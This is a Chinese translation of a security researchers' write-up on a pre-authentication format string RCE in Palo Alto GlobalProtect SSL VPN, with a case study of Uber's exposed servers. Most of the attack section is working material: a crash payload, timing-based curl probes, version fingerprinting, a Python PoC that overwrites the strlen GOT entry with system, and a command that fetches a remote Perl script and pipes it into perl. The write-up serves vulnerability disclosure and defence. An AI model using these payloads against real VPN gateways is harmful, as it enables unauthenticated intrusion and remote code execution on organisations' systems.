以 Uber 为例,详细说明 Palo Alto SSL VPN 产品中的 RCE 漏洞
作者:Orange Tsi 和 Meh Chang
编译:奇安信代码卫士团队
本文说明了研究人员如何发现 Palo Alto SSL VPN 产品线 GlobalProtect 中一个严重的 RCE 漏洞。如下内容节选自研究人员发布的博客文章:
我们在红队评估服务中偶然发现了这个 RCE 漏洞。刚开始以为是 0day,不过在最新版 GlobalProtect 未能复现成功,因此认为它是一个已知漏洞。在互联网上未能发现任何蛛丝马迹,并未发现公开的 RCE 利用代码,官方安全公告什么内容也没有,也不存在 CVE 编号。因此我们认为它是一个被静默修复的 1day 漏洞!
漏洞概述
该漏洞直接明了,它就是一个简单的无需认证的格式字符串漏洞!sslmgr是处理服务器和客户端之间 SSL 握手的 SSL 网关。守护进程遭 Nginx 反向代理暴露,可通过路径 /sslmgr 接触:
$ curl https://global-protect/sslmgr
<?xml version="1.0" encoding="UTF-8" ?>
<clientcert-response>
<status>error</status>
<msg>Invalid parameters</msg>
</clientcert-response>
在参数提取过程中,守护进程查找字符串 soep-profile-name 并将它的值以 snprintf 格式传递以填充缓冲区,这就导致格式字符串攻击。只要通过%n 就能使服务崩溃!
POST /sslmgr HTTP/1.1
Host: global-protect
Content-Length: 36
scep-profile-name=%n%n%n%n%n...
受影响版本
根据调查,所有在2018年7月之前发布的GlobalProtect 均受影响,受影响版本如下:
Palo Alto GlobalProtect SSL VPN 7.1.x < 7.1.19
Palo Alto GlobalProtect SSL VPN 8.0.x < 8.0.12
Palo Alto GlobalProtect SSL VPN 8.1.x < 8.1.3
9.x 和7.0.x系列不受该漏洞影响。
如何验证漏洞
尽管我们知道漏洞存在,但要验证它并不容易。因为不存在该格式字符串的输出,因此我们无法获取任何地址泄露来验证该 bug。而且导致服务崩溃并非我们的第一选择。为了避免崩溃,我们需要找到优雅地验证漏洞的方法。
阅读 snprintf 手册后,我们决定选择 %c 作为小工具。如果格式前有数字,例如%9999999c,那么 snprintf会在内部重复对应的时间。我们通过观测大重复数的响应时间来验证这个漏洞!
$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr >/dev/null
real 0m1.721s
user 0m0.037s
sys 0m0.005s
$ time curl -s -d 'scep-profile-name=%99999999c' https://global-protect/sslmgr >/dev/null
real 0m2.051s
user 0m0.035s
sys 0m0.012s
$ time curl -s -d 'scep-profile-name=%999999999c' https://global-protect/sslmgr >/dev/null
real 0m5.324s
user 0m0.021s
sys 0m0.018s
如你所见,响应时间随着 %c的数字增大而增大。因此从时间差来看,我们能够优雅地识别出易受攻击的 SSL VPN!
利用
漏洞验证之后,利用就简单了。要成功地利用该二进制,我们需要首先判断详细版本。我们可以通过Last-Modified 头部信息来区分版本,如通过8.x 版本的头部是/global-protect/portal/css/login.css,而 7.x 版本的头部是/images/logo_pan_158.gif。
$ curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified
Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT
我们现在可以根据特定版本写自己的利用。只需将 GlobalOffset Table (GOT) 上的strlen指针更改为Procedure Linkage Table (PLT)的system指针即可。PoC 如下:
#!/usr/bin/python
import requests
from pwn import *
url = "https://sslvpn/sslmgr"
cmd = "echo pwned > /var/appweb/sslvpndocs/hacked.txt"
strlen_GOT = 0x667788 # change me
system_plt = 0x445566 # change me
fmt = '%70$n'
fmt += '%' + str((system_plt>>16)&0xff) + 'c'
fmt += '%32$hn'
fmt += '%' + str((system_plt&0xffff)-((system_plt>>16)&0xff)) + 'c'
fmt += '%24$hn'
for i in range(40,60):
fmt += '%'+str(i)+'$p'
data = "scep-profile-name="
data += p32(strlen_GOT)[:-1]
data += "&appauthcookie="
data += p32(strlen_GOT+2)[:-1]
data += "&host-id="
data += p32(strlen_GOT+4)[:-1]
data += "&user-email="
data += fmt
data += "&appauthcookie="
data += cmd
r = requests.post(url, data=data)
一旦完成更改,sslmgr就变成我们的 webshell,而我们就可以通过如下内容执行命令:
$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | perl -' https://global-protect/sslmgr
我们已通过报告表单将该漏洞告知 Palo Alto。不过该公司回复称该漏洞已由内部研究人员发现且已修复。不过这说明虽然Palo Alto 已知晓该漏洞,但其它厂商并未修复!
案例研究
意识到该漏洞并非0day 后,我们调查了全球所有的 Palo Alto SSL VPN 产品,查看是否由大公司在使用易受攻击的 GlobalProtect 产品,结果发现了 Uber(优步)!从调查来看,Uber 在全球拥有22个运行 GlobalProtect 的服务器,我们现以vpn.awscorp.uberinternal.com为例。
从域名来看,我们猜测 Uber 使用的是 AWS Makretplace 的 BYOL。从登陆页面来看,Uber 似乎使用了8.x 版本,而我们可以从 Marketplace 预览页面的受支持版本列表中针对可能的目标版本进行验证:
8.0.3
8.0.6
8.0.8
8.0.9
8.1.0
最后,我们发现 8.0.6 版本易受攻击,我们可以拿回 shell。
Uber 快速响应并修复该漏洞,并颁发了赏金。Uber 表示,通过内部调查发现,Palo Alto SSL VPN 和Uber大多数员工使用的主要 VPN 并不相同。另外,Uber 将 Palo Alto SSL VPN 托管在AWS 中而非核心基础设施;因此并无法访问内部基础设施或核心服务。因此,Uber表示虽然它是非认证的 RCE,但总体影响和位置优势较小。
原文链接
http://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。